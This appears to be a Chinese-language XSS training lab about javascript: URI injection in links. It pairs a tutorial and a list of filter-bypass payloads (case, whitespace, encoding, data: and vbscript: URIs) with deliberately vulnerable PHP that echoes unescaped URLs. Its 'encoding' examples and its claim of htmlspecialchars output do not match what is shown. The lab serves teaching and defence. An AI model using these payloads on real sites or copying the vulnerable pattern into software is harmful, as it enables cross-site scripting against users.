◈ 渗透任务
超链接协议注入验证
任务中
你的身份
「暗影安全公司」渗透测试工程师
目标网站
LinkHub 链接分享社区 (links.linkhub.example.com)
委托方
LinkHub 允许用户提交超链接,但未对 href 属性的协议进行限制
任务目标
利用 javascript: 协议构造 XSS 链接
- 提交使用 javascript: 协议的链接
- 点击链接时触发 alert(1)
◈ 教程:javascript: 协议
什么是 URI 协议?
URI(Uniform Resource Identifier)由协议(scheme)和路径组成。常见的协议包括 http:、https:、ftp: 等。浏览器支持一种特殊的协议 — javascript:,它不加载资源,而是执行 JavaScript 代码。
核心原理:当浏览器在
href、src、action 等属性中遇到 javascript: 协议时,会将冒号后面的字符串作为 JavaScript 代码执行。
javascript: 基础用法
<!-- 在 href 中 -->
<a href="javascript:alert(1)">Click me</a>
// 点击后执行 alert(1)
<!-- 在地址栏中 -->
// 用户在地址栏输入 javascript:alert(1) 并回车
<!-- 在 iframe src 中 -->
<iframe src="javascript:alert(1)"></iframe>
<!-- 在 form action 中 -->
<form action="javascript:alert(1)">
<button type="submit">Submit</button>
</form>
javascript: 的执行时机
| 场景 | 执行时机 |
|---|---|
<a href="javascript:..."> |
用户点击时 |
<iframe src="javascript:..."> |
iframe 加载时 |
<form action="javascript:..."> |
表单提交时 |
window.location = "javascript:..." |
赋值时立即执行 |
| 地址栏输入 | 回车后执行 |
常见绕过技巧
空白字符绕过
javascript :alert(1) // 冒号前加空格
javascript: alert(1) // 冒号后加空格
javascript: alert(1) // 制表符
javascript:
alert(1) // 换行符(某些浏览器)
大小写绕过
Javascript:alert(1)
JAVASCRIPT:alert(1)
jAvAsCrIpT:alert(1)
编码绕过
javascript:alert(1) // HTML 实体
javascript:alert(1) // 十六进制实体
javascript:alert(1) // Unicode 转义
嵌套绕过
javascript:javascript:alert(1) // 双重协议
javascript:void(alert(1)) // 使用 void
javascript:void(0);alert(1) // void + 分号
data: 协议
data: 是另一个危险的 URI 协议,可以加载 HTML 或 JavaScript:
<a href="data:text/html,<script>alert(1)</script>">Click</a>
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">Click</a>
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
vbscript: 协议(IE)
// 仅在旧版 IE 中有效
<a href="vbscript:MsgBox(1)">Click</a>
防御方法
- 白名单验证协议:只允许
http:和https: - 使用
URL对象解析并验证 - 添加 CSP
script-src限制 - 使用
rel="noopener noreferrer"防止 opener 访问
◈ 练习:javascript: 协议
目标:页面允许用户提交 URL,会将其渲染为可点击的链接。虽然代码检查了 URL 是否以
http 开头,但 else 分支仍然会渲染链接。请利用 javascript: 协议构造 XSS。
在上方输入框中输入 URL,点击"生成链接"查看结果...
◈ 查看漏洞源码 (PHP)
<?php
$url = $_GET['url'] ?? '';
// 仅检查是否以 http 开头 — 但可以绕过
if (strpos($url, 'http') === 0 || strpos($url, '//') === 0) {
echo '<a href="' . $url . '">Click here</a>';
} else {
// 降级处理:对 "非 http" 链接仍然渲染
echo '<a href="' . $url . '">Click here</a>';
}
?>
◈ 过滤状态:
- URL 输入 — 无过滤
- 协议检查 — 检查是否以 http 开头
- else 分支 — 仍然渲染链接(漏洞所在)
- HTML 转义 — htmlspecialchars 输出
提示:仔细阅读源码 — else 分支做了什么?